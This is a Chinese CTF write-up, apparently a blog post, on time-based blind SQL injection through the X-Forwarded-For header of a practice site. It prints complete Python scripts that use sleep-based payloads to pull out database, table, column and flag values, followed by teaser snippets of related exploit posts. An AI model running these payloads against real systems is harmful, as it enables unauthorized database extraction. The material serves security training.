实验吧CTF who are you?基于时间盲注

这是我第三次接触时间盲注,所以就写一个博文和大家分享一下,还能检验我对知识的掌握程度。?( ′???` )

点开网址是把你的真实IP地址打印出来!然后立马看网页源代码什么发现都没有!

现在还没有什么想法,用burpsuite抓一下,看看能不能有什么发现

没有什么发现,但是当我们回想打开网页爆出我们的真实ip地址,既然是我们的真实ip,那么在后端应该调用了类似$_SERVER[‘HTTP_X_FORWARDED_FOR’]之类的函数得到我们的真实ip地址。那么我们就用bp来构造一个含有x-forwarded-for的header信息。

  啊哈,我输入什么就输出什么,这很可能存在漏洞。经过验证确实存在基于时间的盲注。为什么是盲注呢。因为当我们写一些SQL查询语句时,不管正确与否,页面都会把你的输入的原样输出给你,这样我们就不知道我们写的语句对不对,有没有其效果。所以我们在SQL查询正确时让程序sleep一段时间,然后在程序URL请求时,给它限制一个超时时间,这个超时时间小于sleep的时间,也就是说当SQL判断正确时,URL请求那里就会报错,我们捕捉这个错误,让它执行一些操作。

  废话不多说,给出我用python3写的盲注脚本:

先简单求出当前database的长度:

import requests

url = ‘http://ctf5.shiyanbar.com/web/wonderkun/index.php‘
for i in range(1,30):

key = {‘x-forwarded-for‘:"‘+"+"(select case when (length(database())=‘%s‘)then sleep(5) else 1 end) and ‘1‘=‘1"%i}
try:
print("正在第%s次判断"%i)
r = requests.get(url, headers=key,timeout=4)
except:
print("库名长度为%s"%i)
break

嗯~ 知道表的长度了,现在爆出库名

import requestsimport string

url = ‘http://ctf5.shiyanbar.com/web/wonderkun/index.php‘str="qwertyuiopasdfghjklzxcvbnm1234567890QWERTYUIOPASDFGHJKLZXCVBNM"databaseName=‘‘for i in range(1,5):    for payload in str:        key = {‘X-forwarded-for‘:"‘+"+"(select case when (substring((database()) from %d for 1)=‘%s‘) then sleep(5) else 1 end) and ‘1‘=‘1"%(i,payload)}        try:            print(key)            r = requests.get(url, headers=key,timeout=4)        except:            databaseName+=payload            print("数据库名为是%s"%databaseName)            breakprint(databaseName)

直接报表名

import requestsimport string

url = ‘http://ctf5.shiyanbar.com/web/wonderkun/index.php‘str=string.ascii_lowercase+string.ascii_uppercase+string.digits+string.punctuationtableName=[]for i in range(0,5):   #假设web4中有五个表    Name=‘‘    flag2=0    for col in range(1,11):#假设每个表的最大长度不超过10        flag=0        for payload in str:            key = {                ‘X-forwarded-for‘: "‘+" + "(select case when (substring((select table_name "                    "from information_schema.tables where (table_schema=‘web4‘) limit 1 "                    "offset %d) from %d for 1)=‘%s‘) then sleep(5) else 1 end) and ‘1‘=‘1"%(i,col,payload)}            try:                print(key)                r = requests.get(url, headers=key, timeout=4)            except:                flag=1                flag2=1                Name += payload                print("第%s个表为是%s" % (i+1,Name))                break        #tableName.append(Name)        if flag==0:            break    if(flag2==0):        break    tableName.append(Name)

for a in range(len(tableName)):    print(tableName[a])

这里我们一看对我们有用的表应该是flag

开始爆flag表中的所有列名

import requestsimport string

url = ‘http://ctf5.shiyanbar.com/web/wonderkun/index.php‘str=string.ascii_lowercase+string.ascii_uppercase+string.digits+string.punctuationcolumnName=[]for i in range(0,5):   #假设flag中有五个列    Name=‘‘    flag2=0    for col in range(1,11):#假设每个列名的最大长度不超过10        flag=0        for payload in str:            key = {                ‘X-forwarded-for‘: "‘+" + "(select case when (substring((select column_name "                    "from information_schema.columns where (table_name=‘flag‘) limit 1 "                    "offset %d) from %d for 1)=‘%s‘) then sleep(5) else 1 end) and ‘1‘=‘1"%(i,col,payload)}            try:                print(key)                r = requests.get(url, headers=key, timeout=4)            except:                flag=1                flag2=1                Name += payload                print("第%s个表为是%s" % (i+1,Name))                break        #tableName.append(Name)        if flag==0:            break    if(flag2==0):        break    columnName.append(Name)

for a in range(len(columnName)):    print(columnName[a])

这里我没有该输出,应该是“第一个字段名是flag”,既然知道了表和列名,开始爆内容吧!

import requestsimport string

url = ‘http://ctf5.shiyanbar.com/web/wonderkun/index.php‘str=string.ascii_lowercase+string.ascii_uppercase+string.digits+string.punctuationcolumnName=‘‘

for col in range(1,45):#假设每个列名的最大长度不超过10    flag=0    for payload in str:        key = {                ‘X-forwarded-for‘: "‘+" + "(select case when (substring((select flag from flag) from %d for 1)=‘%s‘) then sleep(5) else 1 end) and ‘1‘=‘1"%(col,payload)}        try:            print(key)            r = requests.get(url, headers=key, timeout=4)        except:            flag=1            columnName += payload            print("内容为是%s" %columnName)            break

if flag==0:        break

print(columnName)

嗯~ flag就出来了,希望对您有帮助!





原文地址:https://www.cnblogs.com/qincan4Q/p/9684032.html

时间: 2024-10-08 22:44:55

实验吧CTF who are you?基于时间盲注的相关文章

实验吧之【who are you?】(时间盲注)

地址:http://ctf5.shiyanbar.com/web/wonderkun/index.php 这道题点开看见your ip is :xxx.xxx.xx.xxx 试了一些 最后发现是XFF注入 不过首先要进行ip伪造 X-Forwarded-For Client-IP x-remote-IP x-originating-IP x-remote-add 发现X-Forwarded-For可以伪造. 题目说: 我要把攻击我的人都记录db中去! 猜测这是一个INSERT INTO的注入.

Gxlcms时间盲注+后台任意文件删除读取下载+getshell

前台SQL时间盲注 在前台作品评分处 Lib\Home\Action/CommAction.class.php 第56行 $ting_id = $_GET["id"]; 第133行 $ting_gold = $mod->where("ting_id='$ting_id'")->getField("ting_gold"); 导致了可以时间盲注 因为回显不明确 后台GetShell 后台附件设置处 fuzz过程 输入php  被过滤成空

zzcms8.2#任意用户密码重置#del.php时间盲注#复现

00x0 引言 早上起来,发现seebug更新了一批新的洞, 发现zzcms8.2这个洞好多人在挖,于是我就默默的踏上了复现之路(要不是点进去要买详情,我何必这么折腾~) 环境:zzcms8.2(产品招商型) php-5.4.45 . mysql-5.5.53 01x0 任意用户密码重置 01x1 任意用户密码重置方式一 话说,这个洞的标题应该是任意前台用户密码重置,后台管理员重置不了的,或许是我复现的问题.~~ 先注册个账号,然后首页点击找回密码. 地址:http://localhost/on

SQL盲注--时间盲注

SQL盲注--时间盲注 原文地址:https://www.cnblogs.com/blogs-1024/p/11261651.html

sql注入之limit注入和五种时间盲注姿势

0x00前言 limit注入和时间前面也提过一点点了,真的非常简单,真不太想单独写一个这个来水博客..这里还是记录一下吧以后忘了方便复习. 0x01 limit基础知识 照抄前面的: 这里简单记录一下我自己经常会忘的知识点,觉得不值得再写一篇博客去水了233 使用查询语句的时候,经常要使用limit返回前几条或者中间某几行数据 SELECT?*?FROM?table?LIMIT?[offset,]?rows?|?rows OFFSET offset LIMIT 子句可以被用于强制 SELECT

实验吧之【who are you?】(时间盲注)补充

第二种方法 使用brup进行盲注  也是一个道理 不多贴了 这里提一下  burp怎么判断超时 Options->Connections->Tiimeouts->Normal这一空 改成你想要的超时时间(默认为120秒). 在进行Intruder攻击时,如果连接超时,则状态码和length一栏为空.由此可以判断连接是否超时. 需要注意的是:在开始Intruder攻击前,需要把Intruder->Options->Request Engine->Number of thr

时间盲注脚本.py

时间盲注脚本 #encoding=utf-8 import httplib import time import string import sys import random import urllib headers = {} payloads = '[email protected]_.ABCDEFGHIJKLMNOPQRST' print '[%s] Start to retrive MySQL User:' % time.strftime('%H:%M:%S', time.localt

hdcms时间盲注

吃了一天鸡实在无聊 随便找了个xx的cms 玩玩 洞很简单 在CTF中也经常考 记录下以后留作例子用吧 if (!$user = M("user")->join("__user__ u JOIN __role__ r ON u.rid=r.rid")->find("username='{$username}'")) { $this->error = '帐号不存在'; return false; } if (md5($passwo

时间盲注poc编写

当测试注入漏洞时,页面没有返还结果,连报错都没有时,可以考虑延时. 比如这条语句 ?type=1 and if(length(database())=%d,sleep(5),1) 如果这条语句被服务器正确执行,那么服务器返回数据强要比平时慢5秒,通过比较时间来判断正确还是错误. 这就给我们编程提供了思路,如果要猜测一个字段可以先猜测其长度,在一个猜每一个字符 这次依旧是webug的一道练习题 mport requests import time payloads = 'qwertyuio[ema